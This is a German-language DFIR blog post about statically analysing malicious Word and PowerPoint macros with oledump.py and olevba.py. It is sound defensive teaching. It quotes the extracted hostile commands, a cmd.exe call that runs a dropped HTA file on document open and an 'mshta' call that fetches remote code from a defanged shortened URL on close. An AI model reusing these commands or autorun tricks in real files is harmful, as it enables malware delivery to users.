Blog
Informativ, aktuell und spannend - der Oneconsult Cybersecurity Blog.

DFIR einfach – Analyse von Office-Makros

Makros in Microsoft-Office-Dokumenten (z. B. Word, Excel usw.) werden häufig von Angreifern missbraucht, um Code zu verstecken, der Schadsoftware herunterlädt oder ausführt, was zur Kompromittierung von Systemen führen kann. Auf modernen Systemen werden daher als Schutzmassnahme Makros standardmässig nur nach Erlaubnis des Nutzers gestartet.

Wenn ein Dokument geöffnet wird, das Makros enthält, erscheint eine gelbe Statusleiste mit einer Sicherheitswarnung[1] (siehe Abbildung 1) und der Nutzer muss dann entscheiden, ob er die Ausführung des Makros erlauben oder blockieren möchte.

Abbildung 1: Sicherheitswarnung beim Öffnen eines Dokuments mit Makros

Für einen Angreifer bedeutet dies, dass er das Opfer dazu bringen muss, die Makros zu aktivieren, beispielsweise durch Social Engineering oder Phishing. Sind Inhalt der E-Mail und/oder des Dokuments selbst genügend überzeugend, wird der Nutzer die Warnung mit hoher Wahrscheinlichkeit ignorieren und die Ausführung des Makros erlauben.

Seit Kurzem werden Makros in den Microsoft-Office-Versionen 2203 und 2205 für aus dem Internet heruntergeladene Dateien standardmässig gänzlich blockiert[2]. Nutzer können Makros somit nicht länger eigenständig aktivieren.

Wie finde ich heraus, ob ein Makro schädlich ist?

Wie auch für die Analyse von PDF-Dateien (Oneconsult Blog, DFIR einfach – Analyse von PDF-Dateien) wird empfohlen nach der Überprüfung des Hash-Wertes bei einem Online-Dienst eine statische Analyse der betreffenden Datei in einer virtuellen Maschine als Alternative zu einer Sandbox durchzuführen, um festzustellen, ob ein enthaltenes Makro bösartig ist. Auf diese Weise werden Informationen nicht öffentlich zugänglich gemacht.

Zur statischen Analyse eines Office-Makros werden in diesem Artikel oledump.py[4] und olevba.py[5] verwendet, um die in der Datei eingebetteten Makros zu extrahieren. Beide Tools weisen Stärken und Schwächen auf: manche Dokumente können mit dem einen Tool nicht analysiert werden, während die Analyse mit dem anderen funktioniert.

Die aus den Makros extrahierten Informationen, wie URLs, Domainnamen oder Befehle, sind IOCs (Indicators of Compromise), die für eine tiefergehende Untersuchung verwendet werden können. Sie können beispielsweise in Logdateien wie denen von Netzwerkgeräten (Proxy, Firewall usw.) gesucht werden, um u.a. festzustellen, ob eine bestimmte URL kontaktiert wurde, und wenn ja, von welchen Systemen.

Zur Verdeutlichung werden in diesem Artikel zwei Office-Dateien – ein Word-[6] und ein PowerPoint-Dokument[7] – mit Hilfe der genannten Tools analysiert. Die Dateien wurden von MalwareBazaar von abuse.ch, einer Malware-Datenbank, bezogen. Es handelt sich hier also um reale Beispiele. Der Inhalt des Word-Dokuments ist nachfolgend abgebildet. Das PowerPoint-Dokument enthält keine Folien.

Vorsicht! Die folgenden Aktivitäten sollten stets in einer isolierten Umgebung (z. B. virtuelle Maschine ohne Netzwerkzugang) ausgeführt werden. Bei der Analyse schädlicher Makros besteht die Gefahr, das umgebende System zu kompromittieren.

Abbildung 2: Inhalt des Word-Dokuments

Analyse mit oledump.py

oledump.py wurde von Didier Stevens entwickelt. Das Tool listet den Inhalt der Datei auf, markiert die Streams, die Makros enthalten, mit dem Buchstaben «M» und extrahiert sie.

In diesem Beispiel sieht das Resultat für das Word-Dokument («document.doc») wie folgt aus:

Abbildung 3: Resultat von oledump.py für «document.doc»

Die Streams A3, A9 und A11 enthalten also Makros. Sie können mit den Parametern «-s» zur Angabe des Streams und «-v» zur Dekomprimierung des Makros weiter analysiert werden, wie in den folgenden Abbildungen dargestellt.

Abbildung 4: Makro in Stream A3
Abbildung 5: Makro in Stream A9
Abbildung 6: Makro in Stream A11

Der Code des dekomprimierten Makros ist leicht mit Variablen und Funktionen verschleiert, die innerhalb der drei Makros definiert und kombiniert werden. Im Stream A3 wird die Funktion «document_open» verwendet, die das Makro automatisch beim Öffnen des Word-Dokuments ausführen wird. Ausserdem wird die Funktion «i» mit dem Parameter «cmd.exe /s /c» ausgeführt (siehe rote Box in Abbildung 4). Im Stream A9 werden insbesondere «TA» (siehe rote Box in Abbildung 6) und «c:\\programdata\\index.h» (siehe rote Box in Abbildung 5) verknüpft. Der Parameter /s bewirkt in Kombination mit /c (siehe rote Box in Abbildung 4), dass die Anführungszeichen entfernt werden. Der Parameter /c wird wird den durch die Zeichenfolge angegebenen Befehl ausführen[8]. Zusammengefasst wird das Dokument beim Öffnen den folgenden Befehl ausführen: «cmd.exe /s /c c:\\programdata\index.hTA». Die statische Analyse kann jedoch nicht den Inhalt der Datei «index.hta» ermitteln. Daher ist eine dynamische Analyse in einer virtuellen Maschine im Nachgang interessant, um die Resultate zu ergänzen.

Analyse mit olevba.py

olevba.py wurde von Philippe Lagadec entwickelt, um den Inhalt von Microsoft-Office-Dateien zu analysieren, eingebettete Makros zu extrahieren und darzustellen. Zusätzlich hebt das Tool riskante Stellen des VBA-Codes im Dokument hervor und erklärt, woran diese zu erkennen sind. olevba.py kann als Alternative zu oledump.py verwendet werden. In diesem Beispiel ist das Resultat für das PowerPoint-Dokument («presentation.ppt») wie folgt:

Abbildung 7: Resultat von olevba.py für «presentation.ppt»

«Auto_Close» und «Shell» wurden von olevba.py als auffällig eingestuft. Die Funktion «Auto_Close» wird verwendet, um nach dem Schliessen des Dokuments Code auszuführen.

Der Code ist ebenfalls leicht verschleiert (siehe rote Box in Abbildung 7). Aus der Verkettung der verschiedenen Strings resultiert ein Befehl, welcher beim Schliessen des Dokuments automatisch eine Shell startet und den Befehl «mshta https://j[.]mp/thostis712gsba» ausführt.

VirusTotal[9] zeigt an, dass diese URL auf «https://pastebin[.]com/raw/ECW2NC3F»[10] verweist. Diese Webseite ist leider nicht mehr zugänglich. Pastebin-Seiten werden jedoch oft von Angreifern verwendet, um u.a. Malware zu verteilen. Auf der Seite liegt dann ein Code-Schnipsel, der eingebunden wird. Dieser kann z. B. in Base64 kodiert sein. Vergleichbares wird hier für dieses konkrete Beispiel vermutet.

Fazit

Als Alternative zu einer Sandbox kann durch eine statische Analyse schnell und mit geringem Aufwand festgestellt werden, ob ein Microsoft-Office-Dokument Makros enthält und ob diese bösartig sind. Zum Schutz gegen bösartige Makros wird generell empfohlen, die Ausführung von Makros zu blockieren sowie Mitarbeitende im Umgang mit heruntergeladenen Dokumenten zu schulen und auf die möglichen Risiken im Zusammenhang mit Makros aufmerksam zu machen.

Haben Sie noch Fragen oder möchten unsere Unterstützung? Wir freuen uns von Ihnen zu hören!

Autorin

Nadia Meichtry studierte forensische Wissenschaften an der Universität von Lausanne und schloss im Sommer 2020 ihren Master in digitaler Forensik ab. Sie ist zertifizierte GIAC Certified Forensic Analyst (GCFA) und GIAC Reverse Engineering Malware (GREM), und zertifizierte OSSTMM Professional Security Tester (OPST) und seit August 2020 als Digital Forensics & Incident Response Specialist bei Oneconsult angestellt.

Publiziert am: 31.08.2022

Teilen

Nichts verpassen! Melden Sie sich für unseren kostenlosen Newsletter an.

Ihre Sicherheit hat höchste Priorität – unsere Spezialisten unterstützen Sie kompetent.

Erreichbarkeit von Montag bis Freitag 08.00 – 12.00 Uhr und 13.00 – 17.00 Uhr (Ausnahme: Kunden mit SLA – Bitte über die 24/7 IRFA-Notfallnummer anrufen).

Privatpersonen wenden sich bitte an Ihren IT-Dienstleister des Vertrauens oder die lokale Polizeidienststelle.

Weitere Informationen zu unseren DFIR-Services finden Sie hier:

qr_code_emergency_2022
CSIRT zu den Kontakten hinzufügen